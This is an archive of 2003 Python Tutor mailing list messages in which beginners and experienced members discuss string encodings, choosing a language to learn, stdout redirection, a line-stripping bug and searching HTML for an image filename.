Date: Mon Jun 16 17:03:01 2003
Subject: [Tutor] encodings
In-Reply-To: <5.2.1.1.0.20030616221638.01ea75a8@www.thinkware.se> (Magnus
 =?iso-8859-1?q?Lyck=E5's?= message of "Mon, 16 Jun 2003 22:24:07 +0200")
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030614225808.01fb3a48@www.thinkware.se>
 <5.2.1.1.0.20030616221638.01ea75a8@www.thinkware.se>
Message-ID: <87r85t21dh.fsf@mail.kubtelecom.ru>

On Mon, 16 Jun 2003 22:24:07 +0200,
 Magnus Lyck(ML) wrote to me:


ML> Are you by any chance using an old version of Python?
ML> Decode is new in 2.2. But I guess you can do this instead.

YES! you are right, i started interpreter as 'python', which is
symlink to python2.1

In python2.2 'decode' and 'encode' methods work properly, thank you
very much for help.

-- 
Denis.


From alan.gauld@blueyonder.co.uk  Mon Jun 16 19:09:37 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 18:09:37 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon> <20030616151516.GF2330@obrien.1984.lan> <5.2.1.1.0.20030616223713.01e9faf8@www.thinkware.se>
Message-ID: <01cf01c33453$f12d17a0$6401a8c0@xp>

> >fact in the UK the majority of COBOL programmers come through
> >that route. They program up the flowcharts (yes really!) that
> >the designers give them...
> 
> Are you a programmer then, or just a high level compiler? :)
> 
> Sadly, many management people still see programmers like that,

The British Computer Society, the professional body responsible 
for all IT professions in the UK, and the one which awards CEng 
and Eur.Ing qualifications has a similar scale for programmers. 
On their professional development Model (ISM4) programming has 
6 skill levels. A new graduate typically sits at level 3. The 
two levels below are for "craft programmers". To earn Eur Ing 
you need to be at least at level 4. Level 6 is a "world 
recognised expert" - somebody like Guido or Larry Wall or 
Bjarne Stroustrup I guess...

But our head of IT has publicly expressed his strategy to move 
all "lower value" skills (ie coding and support) offshore and retain 
only "high value" skills(design and systems analysis etc) in the UK.
So it's not only pure "management types" who see coding as a 
"no-brainer" skill.

Alan G.
(A high-value type who sneaks some coding when no-one is looking ;-)


From jeff@ccvcorp.com  Mon Jun 16 20:41:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 16 19:41:02 2003
Subject: [Tutor] Getting class method variable values
References: <20030614004624.CAE3AB6D2@xmxpita.excite.com> <00dd01c33246$5e313ad0$6401a8c0@xp>
Message-ID: <3EEE5550.7020106@ccvcorp.com>

Just in case nobody else noticed this, I thought I'd point it out...

Alan Gauld wrote:

>class C:
>     self.d = [...]
>

This can't work,  because at this point in time, 'self' does not exist. 
 This can be done using a class variable (i.e., 'proplist = [...]'), but 
at the time this code is executed (i.e., during startup) there is no 
instace for 'self' to refer to, nor any name 'self' that has been bound 
to any object, instance or otherwise, so it's impossible to set an 
attribute (d) of the 'self' object...

Which just goes to show that everyone, even talented programmers like 
Alan, can sometimes be a bit confused about where we're at in our code, 
which is one of the prime reasons that Python's readability and 
preference for explicitness is such a valuable feature. :)

(This is also a big reason why Extreme Programming style prefers 
pair-programming, so that there's always an extra set of eyes to catch 
things like this.)

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun 16 20:53:39 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 16 19:53:39 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single
 assignment?
References: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253> <50-1512273134.20030612232708@columbus.rr.com> <3EEA1243.7010502@ccvcorp.com> <1704255298.20030614094126@columbus.rr.com>
Message-ID: <3EEE5838.7000701@ccvcorp.com>

R. Alan Monroe wrote:

>>R. Alan Monroe wrote:
>>    
>>
>>>I'd like to, for instance, draw a column of pixels in a 2d video
>>>buffer that's implemented as a 1d array.
>>>      
>>>
>>Any particularly compelling reason to implement this as a 1d array?
>>    
>>
>
>You may have missed some of my earlier emails on this... I'm calling
>python from a C dll so I can play with vis plugins for Sonique in
>Python. So I can't change that aspect of the implementation. Python
>interprets the buffer object as a long string.
>

Ah.  I'd skimmed over that thread, since I'm not familiar with Python's 
C API...

>Unless there is a way to convert from string to 2d array, then back
>again? (Ideally without copying the whole thing and copying it back -
>doing that would send framerates down the drain, I'm guessing)
>

Depending on how much processing you're doing, it may very well take 
less time to convert the buffer to a 2d Numeric array, perform your 
processing, and then convert it back, than it would take to step through 
the 1d list.  Especially considering that, in order to modify the buffer 
string, you *do* need to convert it to a list anyhow (or else every 
modification would involve creating a new, large string).  You need to 
start with a string and end with a string, but you can't modify strings, 
so you'll have to do *some* conversion somewhere, and I'll bet that 
string->list->string is not significantly faster than string->Numeric 
matrix->string, but list modifications *will* be slower and more painful 
than matrix math in Numeric.  (Not that I've ever used Numeric 
personally, but if it's good enough for Lawrence Livermore Nat'l 
Laboratory...)

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun 16 21:07:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 16 20:07:01 2003
Subject: [Tutor] file eats first character, film at 11
References: <3EEB5034.4060808@netzero.net>
Message-ID: <3EEE5B88.9080203@ccvcorp.com>

Kirk Bailey wrote:

> ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing 
> with a single \n char. Works fine.
>
> EXCEPT
> it eats the first character in the file.


It's already been pointed out that the tool you're using (strip()) is 
too broad for what you say that you want to do (as well as having been 
noted that Unix already provides utilities to do this).  However, I 
thought I'd point out a few other specific issues with this code.

> index=0                                 # This strips out whitespace 
> chars
> for line in filelines:                  # strip out all the trailing 
> whitespace chars
>         filelines[index]=string.rstrip(filelines[index])
>         index=index+1
> [...] 
> linenumber=0
> for line in filelines:
>         filelines[linenumber]=string.strip(line)
> print filelines


First off, you're looping through the list of lines twice, once applying 
rstrip() to each line, and then applying strip() to each line.  Not only 
are you possibly doing more than stripping off the CR/LF, you're doing 
it twice, and removing any leading whitespace as well as any trailing 
whitespace.  (Just think about how bad this could be for a Python 
sourcefile...)

More importantly, though, you're using a dangerous way of modifying your 
list contents.  Each loop is iterating directly over the contents of the 
list (for line in filelines), but then modifying the list based on a 
separately-maintained index variable.  It's hard to guarantee that this 
index remains in synch with the for-loop.  And in fact, this is where 
your problem comes from -- in your second loop, you fail to increment 
the index variable, so you assign the (stripped) contents of each line 
in turn to the first item of the list.  Since the last line of the file 
is blank, the last trip through this loop assigns an empty string to the 
first item of the list -- thus your lost character, which is actually a 
lost entire line.

If you need to step through a list based on an index variable, you're 
much better off doing that explicitly for *both* reads and writes -- 
i.e., code your loop this way instead:

for index in range(len(filelines)):
    filelines[index] = string.rstrip(filelines[index])

This way, you *know* that each modified line is going right back where 
it came from.

> OK, clues please?


Hopefully this will explain what went wrong with this code, even though 
I do believe you'll be happier using the existing *nix utilities instead 
of a Python script for this job.  :)

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Jun 16 21:50:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 16 20:50:01 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <3EEE659A.40601@ccvcorp.com>

Vernon Miller wrote:

> I learned this past week, that since I am disabled the state rehab 
> service will pay for me to learn a computer language. The school that 
> they normally deal with teaches;
>  
> Java
> Visual Basic Net
> Basic
> Cobol
> Visual C++
> A+  ;
> I know almost nothing about any of them, so I would appreciate it if 
> you all would give me some advice on which would be better. I am 
> personally leaning towards either C++ or Basic. Help me if you can.


Personally, I'm inclined to think that Python will serve you better than 
any of these... however, the more languages one learns, the better of a 
programmer one can be.  Since you're able to get training for free, it 
shouldn't hurt to take advantage of the opportunity.  (Provided, of 
course, that you take it with a grain of salt when your instructor tells 
you that things *must* be done one way even though Python does things 
differently... ;) )

As for what course would be best for you, that depends.  Are these 
certification courses?  In that case, A+ probably doesn't indicate a 
programming language; it (presumably) indicates a course to help you 
achieve the A+ Computer Technician certificate.  This certificate 
indicates a base competency as a hardware/software technician -- pretty 
much, basic computer and network maintenance.  Unless you really enjoy 
tinkering with hardware and/or want to work in the back room of a 
computer store, I wouldn't recommend this -- if you want to be a 
programmer, your time will be better spent elsewhere, and from what I 
can see, this certification isn't going to do much to get you a job.  

For the others, Visual Basic and Cobol are very widely-used in business 
circles, but don't get a lot of respect.  They tend to be the language 
of choice for business-driven programming in the corporate-mindset mold. 
 If you want to write accounting software for big corporations, Cobol is 
the way to go.  VB is a bit more flexible, but it's still more of a 
businessperson's programming language than a programmer's programming 
language.  Non-VB Basic is probably not a good choice -- it has all the 
downsides of Basic (sloppy syntax, etc) without the business-endorsed 
popularity of VB.  Non-VB Basic dialects seem, these days, to only exist 
as scripting languages within large applications (and many of those are 
moving towards VB compliance).  Of course, I speak this as someone who 
does half his coding in a proprietary (and horribly obsolete) version of 
Basic...

That leaves Java and C++.  Both of these are industry-standard 
languages, and both have a lot of potential to teach you a lot about 
some of the details of programming -- though a lot of what you learn may 
well be "This is so much simpler in Python..." ;)  Still, they'll open 
your eyes to some of what's going on behind the scenes in Python, which 
has the potential to greatly improve your programming talents in *any* 
language.  The choice between the two probably depends on just what 
directions you want to go with your programming knowledge.  Java is 
still primarily used for Internet/intranet programming, and probably 
will remain so for some time to come.  C++ is more powerful and tends to 
be used for a broader range of projects -- but it's also big, and 
complex, and makes it very easy for you to shoot yourself in the foot.  

If *I* were in your shoes, then of the listed options, I'd be most 
likely to choose C++, but that does reflect my own desires for what I 
want to do with my programming knowledge.  I'm all in favor of using 
Python for high-level stuff (i.e., about 95-99% of the time), but it's 
good to know C/C++ for those times when low-level coding is needed -- no 
other widely-used language gives you the fine-grained control that C/C++ 
does.

Jeff Shannon
Technician/Programmer
Credit International




From shalehperry@attbi.com  Mon Jun 16 22:21:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon Jun 16 21:21:02 2003
Subject: [Tutor] languages
In-Reply-To: <019e01c3343d$289022d0$6401a8c0@xp>
References: <000e01c333c6$8525e420$c49780d1@vvernon> <200306152352.29040.shalehperry@attbi.com> <019e01c3343d$289022d0$6401a8c0@xp>
Message-ID: <200306161820.17602.shalehperry@attbi.com>

On Monday 16 June 2003 12:26, Alan Gauld wrote:
> >.... Cobol should be dead (old coders from the 70s keeping
> > it alive to stay employed).
>
> Umm no sorry. It is still ythe language of choice on mainframes.
> When we built our new billing system for the new millenium it
> was 10,000,000 lines of Cobol and about 10,000 lines of Smalltalk
> for the GUI.
>
> Cobol is still the most widely used language for new projects
> according to a 2001 study I saw (Computing Weekly and Infoworld
> joint survey)
>

and neither of these changes my comment -- it *SHOULD* be dead but old coders 
who (should) know better keep it around (-:



From rickowen@yahoo.com  Mon Jun 16 23:11:45 2003
From: rickowen@yahoo.com (Rick Owen)
Date: Mon Jun 16 22:11:45 2003
Subject: [Tutor] Redirecting output
Message-ID: <20030617021056.87605.qmail@web13904.mail.yahoo.com>

Greetings,

I have a script that scans log files for error messages.  Normally it just
outputs the error messages to stdout with the print statement. I want to add
the option to specify an output file.  If an output file is specified then I
want to print to the output file otherwise I want to print to stdout.

What I don't want to do (unless I have to) is

if output:
   print >> f, error_message
else:
   print error_message

Is there a way to explicitly open sys.stdout so that it is assigned to f if no
output file is specified. That way I can always use

print >> f, error_message

where f would be either the output file or stdout.

Thanks,
Rick.

=====
French President Jacques Chirac met with President Bush in France Sunday. It is hard to exaggerate their mutual contempt. The last time two presidents were this angry at one another, only their daughter Chelsea could get them talking again.

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From RFisher930@aol.com  Mon Jun 16 23:23:14 2003
From: RFisher930@aol.com (RFisher930@aol.com)
Date: Mon Jun 16 22:23:14 2003
Subject: [Tutor] tutor list
Message-ID: <f.1396d2f8.2c1fd55b@aol.com>

--part1_f.1396d2f8.2c1fd55b_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

please unscribe

--part1_f.1396d2f8.2c1fd55b_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">please unscribe</FONT></HTML>

--part1_f.1396d2f8.2c1fd55b_boundary--


From missive@hotmail.com  Mon Jun 16 23:29:03 2003
From: missive@hotmail.com (Lee Harr)
Date: Mon Jun 16 22:29:03 2003
Subject: [Tutor] Re: Raw Image Format
Message-ID: <BAY2-F115WkGmtos6Ex00029fb3@hotmail.com>

>Hi, I'm new to python (waiting for Learning Python to be delivered from
>Amazon), but I have used it to post-process some images for a povray
>animation.
>Now my question, is there any way to get python to save an image in the
>raw format? I've looked through PIL and Imagemagick, but these don't
>seem to support the raw format.
>


Depends on what you mean by "raw format"

Pygame will save as a bitmap.  That's about as raw as it gets, i guess.
I find it hard to believe that PIL and Imagemagick won't do that though.

So, I suppose what I am asking is... which format is that?

_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE* 
http://join.msn.com/?page=features/junkmail



From gus.tabares@verizon.net  Mon Jun 16 23:29:16 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Mon Jun 16 22:29:16 2003
Subject: [Tutor] tutor list
In-Reply-To: <f.1396d2f8.2c1fd55b@aol.com>
Message-ID: <LFEJJJNJEBIGPEPEPLIPKEIGCAAA.gus.tabares@verizon.net>

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01C33456.85B4DB40
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

http://mail.python.org/mailman/listinfo/tutor

Bottom of the page: It will only take a second of your time......
  -----Original Message-----
  From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
RFisher930@aol.com
  Sent: Monday, June 16, 2003 10:22 PM
  To: tutor@python.org
  Subject: [Tutor] tutor list


  please unscribe

------=_NextPart_000_0002_01C33456.85B4DB40
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dus-ascii" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3502.5390" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3D"Courier New" size=3D2><A=20
href=3D"http://mail.python.org/mailman/listinfo/tutor">http://mail.python=
.org/mailman/listinfo/tutor</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3D"Courier New" size=3D2><SPAN=20
class=3D875242702-17062003>Bottom of the page:</SPAN></FONT><FONT =
color=3D#0000ff=20
face=3D"Courier New" size=3D2><SPAN class=3D875242702-17062003> It will =
only take a=20
second of your time......</SPAN></FONT></DIV>
<BLOCKQUOTE>
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
tutor-admin@python.org=20
  [mailto:tutor-admin@python.org]<B>On Behalf Of=20
  </B>RFisher930@aol.com<BR><B>Sent:</B> Monday, June 16, 2003 10:22=20
  PM<BR><B>To:</B> tutor@python.org<BR><B>Subject:</B> [Tutor] tutor=20
  list<BR><BR></DIV></FONT><FONT face=3Darial,helvetica><FONT =
face=3DArial lang=3D0=20
  size=3D2 FAMILY=3D"SANSSERIF">please unscribe</FONT>=20
</FONT></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0002_01C33456.85B4DB40--



From Don Arnold" <darnold02@sprynet.com  Mon Jun 16 23:38:06 2003
From: Don Arnold" <darnold02@sprynet.com (Don Arnold)
Date: Mon Jun 16 22:38:06 2003
Subject: [Tutor] Redirecting output
References: <20030617021056.87605.qmail@web13904.mail.yahoo.com>
Message-ID: <03ef01c33479$374c99c0$6fd0b241@defaultcomp>

----- Original Message -----
From: "Rick Owen" <rickowen@yahoo.com>
To: <tutor@python.org>
Sent: Monday, June 16, 2003 9:10 PM
Subject: [Tutor] Redirecting output


> Greetings,
>
> I have a script that scans log files for error messages.  Normally it just
> outputs the error messages to stdout with the print statement. I want to
add
> the option to specify an output file.  If an output file is specified then
I
> want to print to the output file otherwise I want to print to stdout.
>
> What I don't want to do (unless I have to) is
>
> if output:
>    print >> f, error_message
> else:
>    print error_message
>
> Is there a way to explicitly open sys.stdout so that it is assigned to f
if no
> output file is specified. That way I can always use
>
> print >> f, error_message
>
> where f would be either the output file or stdout.
>
> Thanks,
> Rick.
>

Actually it's simpler than that: you can just rebind sys.stdout and use
vanilla print for all your output:

import sys

oldout = sys.stdout
print 'redirecting'
sys.stdout = open('c:/temp2/stuff','w')
for i in range(10):
    print i
sys.stdout.close()
sys.stdout = oldout
print 'back to normal'

HTH,
Don



From rickowen@yahoo.com  Mon Jun 16 23:40:03 2003
From: rickowen@yahoo.com (Rick Owen)
Date: Mon Jun 16 22:40:03 2003
Subject: [Tutor] Redirecting output -- Thanks!
In-Reply-To: <03ef01c33479$374c99c0$6fd0b241@defaultcomp>
Message-ID: <20030617023922.6744.qmail@web13902.mail.yahoo.com>

Thanks!  I knew it had to be simple.

Rick.

> 
> Actually it's simpler than that: you can just rebind sys.stdout and use
> vanilla print for all your output:
> 
> import sys
> 
> oldout = sys.stdout
> print 'redirecting'
> sys.stdout = open('c:/temp2/stuff','w')
> for i in range(10):
>     print i
> sys.stdout.close()
> sys.stdout = oldout
> print 'back to normal'
> 
> HTH,
> Don
> 



=====
French President Jacques Chirac met with President Bush in France Sunday. It is hard to exaggerate their mutual contempt. The last time two presidents were this angry at one another, only their daughter Chelsea could get them talking again.

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From greg@gregmchapman.info  Mon Jun 16 23:40:13 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Mon Jun 16 22:40:13 2003
Subject: [Tutor] tutor list
Message-ID: <JOENINDGJDPMGHODEHKLMEHMCCAA.greg@gregmchapman.info>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C3343E.A2367340
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

you can also send an email to   Tutor-request@python.org if for some reason
you do not have web access, however no-one on the list can unsubscribe you
(as far as I know)
-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
RFisher930@aol.com
Sent: Monday, June 16, 2003 7:22 PM
To: tutor@python.org
Subject: [Tutor] tutor list


please unscribe

------=_NextPart_000_0005_01C3343E.A2367340
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D080383402-17062003>you=20
can also send an email to &nbsp; <A=20
href=3D"mailto:Tutor-request@python.org">Tutor-request@python.org</A>&nbs=
p;if for=20
some reason you do not have web access, however no-one on the list can=20
unsubscribe you (as far as I know)</SPAN></FONT></DIV>
<DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
size=3D2>-----Original Message-----<BR><B>From:</B> =
tutor-admin@python.org=20
[mailto:tutor-admin@python.org]<B>On Behalf Of=20
</B>RFisher930@aol.com<BR><B>Sent:</B> Monday, June 16, 2003 7:22=20
PM<BR><B>To:</B> tutor@python.org<BR><B>Subject:</B> [Tutor] tutor=20
list<BR><BR></FONT></DIV><FONT face=3Darial,helvetica><FONT lang=3D0 =
face=3DArial=20
size=3D2 FAMILY=3D"SANSSERIF">please unscribe</FONT> =
</FONT></BODY></HTML>

------=_NextPart_000_0005_01C3343E.A2367340--




From tbrauch@mindless.com  Mon Jun 16 23:55:01 2003
From: tbrauch@mindless.com (Timothy M. Brauch)
Date: Mon Jun 16 22:55:01 2003
Subject: [Tutor] Finding text in a long string
Message-ID: <00bb01c3347b$6b403e60$6600a8c0@tbrauch>

I am just having troubles with something I know is easy.

I've got a small script written that pulls the data from a webpage.  What I
am trying to do is to see if "image1.gif" is in the html or not.  The
problem I am having is that it might be labelled as
http://domain.com/image1.gif or it might be ../images/image1.gif or
something else (it can change with each page) and it is going to be in an
html tag.  I could do it if "image1.gif" was plain text.  I'm having trouble
however in this case.

I tried some things like:

data = urllib.urlopen(ADDRESS).read()
if "image1.gif" in data:
    print "Success"
else: print "Failure

That gives me the error
Traceback (most recent call last):
  File "<pyshell#23>", line 1, in ?
    if "offline.gif" in data:
TypeError: 'in <string>' requires character as left operand
which tells me it can only check if a certain character is in a string or
not.

I've tried

dataList = data.split()
for i in dataList:
    if "image1.gif" in i
    ...

I get the same error.  I've tried.  Because the location of "image1.gif" can
change and it could be either a relative location or an absolute location,
the following doesn't work either:

for i in dataList:
    if i == "image1.gif"

I feel like a regular expression would help here, but I'm not sure how I
would do this.  Any suggestions?

 - Tim



From dbroadwell@mindspring.com  Tue Jun 17 00:21:01 2003
From: dbroadwell@mindspring.com (David Broadwell)
Date: Mon Jun 16 23:21:01 2003
Subject: [Tutor] languages
In-Reply-To: <3EEE659A.40601@ccvcorp.com>
Message-ID: <MBBBKPICGBKFODJNCCLJMEMACJAA.dbroadwell@mindspring.com>

> > A+  ;
> As for what course would be best for you, that depends.  Are these 
> certification courses?  In that case, A+ probably doesn't indicate a 
> programming language; it (presumably) indicates a course to help you 
> achieve the A+ Computer Technician certificate.  This certificate 
> indicates a base competency as a hardware/software technician -- pretty 
> much, basic computer and network maintenance.  Unless you really enjoy 
> tinkering with hardware and/or want to work in the back room of a 
> computer store, I wouldn't recommend this -- if you want to be a 
> programmer, your time will be better spent elsewhere, and from what I 
> can see, this certification isn't going to do much to get you a job.  
You can read that as 'enjoy lugging about computers and explaining why
mail files have to be under 2GB on windows'.

Oh, no I'm not biased at all ... but then I'm leaving that part of the
industry too ...

--

David Broadwell


From dbroadwell@mindspring.com  Tue Jun 17 00:36:01 2003
From: dbroadwell@mindspring.com (David Broadwell)
Date: Mon Jun 16 23:36:01 2003
Subject: [Tutor] Finding text in a long string
In-Reply-To: <00bb01c3347b$6b403e60$6600a8c0@tbrauch>
Message-ID: <MBBBKPICGBKFODJNCCLJCEMBCJAA.dbroadwell@mindspring.com>

<snippy-snip>
> http://domain.com/image1.gif or it might be ../images/image1.gif or
> I get the same error.  I've tried.  Because the location of 
> "image1.gif" can change and it could be either a relative location
> or an absolute location, the following doesn't work either:
I see you are trying to match against a 'image1.gif' as a whole string
entire. Based on what you wrote, it doesn't seem to exist that way.

> I feel like a regular expression would help here, but I'm not sure how I
> would do this.  Any suggestions?
Seeing as I don't know regular expressions, can't help with that.

Try matching against the entire tag that you want to match instead of
just that one part, and perhaps searching once and if not found search
again for the other possibility.

Or continuing with your method, you might need to take one of the lines
from the file into the interpreter and see exactly what splits will
render it down to the data you are looking for. Step through it in the
interpreter with the debugger. Or some well placed print statements.

The method looks to be workable.

Python is good, it's not omniscient. Were that and programming language
was, we might not need programmers.

(I don't see that happening anytime soon.)

--

David Broadwell


From fredm@smartypantsco.com  Tue Jun 17 01:22:26 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Tue Jun 17 00:22:26 2003
Subject: [Tutor] Finding text in a long string
In-Reply-To: <00bb01c3347b$6b403e60$6600a8c0@tbrauch>
Message-ID: <5.1.0.14.0.20030617135827.032fc5a0@192.168.1.1>

At 10:51 PM 16/06/03 -0400, Timothy M. Brauch wrote:
>I am just having troubles with something I know is easy.
>
>I've got a small script written that pulls the data from a webpage.  What I
>am trying to do is to see if "image1.gif" is in the html or not.  The
>problem I am having is that it might be labelled as
>http://domain.com/image1.gif or it might be ../images/image1.gif or
>something else (it can change with each page) and it is going to be in an
>html tag.  I could do it if "image1.gif" was plain text.  I'm having trouble
>however in this case.
>
>I tried some things like:
>
>data = urllib.urlopen(ADDRESS).read()
>if "image1.gif" in data:
>     print "Success"
>else: print "Failure
>
>That gives me the error
>Traceback (most recent call last):
>   File "<pyshell#23>", line 1, in ?
>     if "offline.gif" in data:
>TypeError: 'in <string>' requires character as left operand
>which tells me it can only check if a certain character is in a string or
>not.
<snip>

I'm sure that there are better ways of doing what you want than what I am 
recommending, but here goes anyway:

1. Use the startswith() method for strings. Unfortunately this means you 
have to test this at every position in the string.

for i in range(len(data)):
         if data[i:].startswith("image1.gif"):
             print "Success"

2. Same approach but reduce the work required by checking first if the 
first letter matches:

for i in range(len(data)):
         if data[i]=='i' and data[i:].startswith("image1.gif"):
             print "Success"

3. As David Broadwell suggested, you can divide data further. Since 
"image1.gif" will always be part of a URL, it will always have '/' before 
it. You can therefore split data using '/'

newdata = data.split('/')
for phrase in newdata:
         if phrase.startswith("image1.gif"):
             print "Success"

Hope these ideas help or trigger some better solution,
Alfred Milgrom





From greg@gregmchapman.info  Tue Jun 17 02:27:03 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Tue Jun 17 01:27:03 2003
Subject: [Tutor] Finding text in a long string
Message-ID: <JOENINDGJDPMGHODEHKLCEHPCCAA.greg@gregmchapman.info>

So I decided to use your question as an excuse to learn a little about
Python regular expressions myself.  That (regular expressions) seems to be
the way you want to go with this I think.  The documentation seems pretty
clear for me at least, but hopefully this example will help.

Here's what I threw together:

import re

data = file("test.html").readlines()

for line in data:
   match_exists = re.compile(r'image1\.gif').search(line)

   if match_exists:
      print "Success"
   else: print "Failure"


and the super simple html file (named test.html since I hardcoded that into
my script) I used containing various instances of the string 'image1.gif':

<html><head><title>test page for retest.py</title></head>
<body>
some random text here because
it is just good to have random text
<img src="image1.gif"/>
more random text<br/>I like random text about image1, gif (here I'm making
sure the . is actually escaped)
<br/>image1
<br/>image1.gif
<img src="http://someserver.org/somedirectory/images/image1.gif"/>
<img src="../images/image1.gif"/>
</body>
</html>

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Timothy M. Brauch
Sent: Monday, June 16, 2003 7:52 PM
To: Python Tutor
Subject: [Tutor] Finding text in a long string


>I am just having troubles with something I know is easy.
>
>I've got a small script written that pulls the data from a webpage.  What I
>am trying to do is to see if "image1.gif" is in the html or not.  The
>problem I am having is that it might be labelled as
>http://domain.com/image1.gif or it might be ../images/image1.gif or
>something else (it can change with each page) and it is going to be in an
>html tag.  I could do it if "image1.gif" was plain text.  I'm having
trouble
>however in this case.
>
>I tried some things like:
>
>data = urllib.urlopen(ADDRESS).read()
>if "image1.gif" in data:
>    print "Success"
>else: print "Failure
>
>That gives me the error
>Traceback (most recent call last):
>  File "<pyshell#23>", line 1, in ?
>    if "offline.gif" in data:
>TypeError: 'in <string>' requires character as left operand
>which tells me it can only check if a certain character is in a string or
>not.

<snip/>

>I feel like a regular expression would help here, but I'm not sure how I
>would do this.  Any suggestions?
>
> - Tim




From dbroadwell@mindspring.com  Tue Jun 17 02:45:03 2003
From: dbroadwell@mindspring.com (David Broadwell)
Date: Tue Jun 17 01:45:03 2003
Subject: [Tutor] Finding text in a long string
In-Reply-To: <5.1.0.14.0.20030617135827.032fc5a0@192.168.1.1>
Message-ID: <MBBBKPICGBKFODJNCCLJGEMCCJAA.dbroadwell@mindspring.com>

> I'm sure that there are better ways of doing what you want than what I am
> recommending, but here goes anyway:
>
> 1. Use the startswith() method for strings. Unfortunately this means you
> have to test this at every position in the string.
> for i in range(len(data)):
>          if data[i:].startswith("image1.gif"):
>              print "Success"
I had considered mentioning seeking '.' and using a offset to match
'image1.gif' but decided against. I'm rather green ... you stated a
similar idea far better than I.

> 2. Same approach but reduce the work required by checking first if the
> first letter matches:
> for i in range(len(data)):
>          if data[i]=='i' and data[i:].startswith("image1.gif"):
>              print "Success"
Nice pattern ...
I'll have to do more testing on the;
if <cond1> and <cond2>: pass

which if i am correct equates to;
if <cond1>:
    if <cond2>:
        pass

Given that it may not always evaluate <cond2>, is that always correct?

> 3. As David Broadwell suggested, you can divide data further. Since
> "image1.gif" will always be part of a URL, it will always have '/' before
> it. You can therefore split data using '/'
>
> newdata = data.split('/')
> for phrase in newdata:
>          if phrase.startswith("image1.gif"):
>              print "Success"
>
This is what i LOVE about python, it can be read.

--

David Broadwell



From alan.gauld@blueyonder.co.uk  Tue Jun 17 02:59:09 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 17 01:59:09 2003
Subject: [Tutor] Getting class method variable values
References: <20030614004624.CAE3AB6D2@xmxpita.excite.com> <00dd01c33246$5e313ad0$6401a8c0@xp> <3EEE5550.7020106@ccvcorp.com>
Message-ID: <01fb01c33495$840e7fa0$6401a8c0@xp>

> Alan Gauld wrote:
>
> >class C:
> >     self.d = [...]
> >
>
> This can't work,  because at this point in time, 'self' does not
exist.

Whoops, it was supposed to be inside a def __init__...!

Mea culpa,

Alan G



From alan.gauld@blueyonder.co.uk  Tue Jun 17 03:05:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 17 02:05:02 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon> <200306152352.29040.shalehperry@attbi.com> <019e01c3343d$289022d0$6401a8c0@xp> <200306161820.17602.shalehperry@attbi.com>
Message-ID: <021501c33496$4fa41d00$6401a8c0@xp>

> On Monday 16 June 2003 12:26, Alan Gauld wrote:
> > >.... Cobol should be dead (old coders from the 70s keeping
> > > it alive to stay employed).
> >
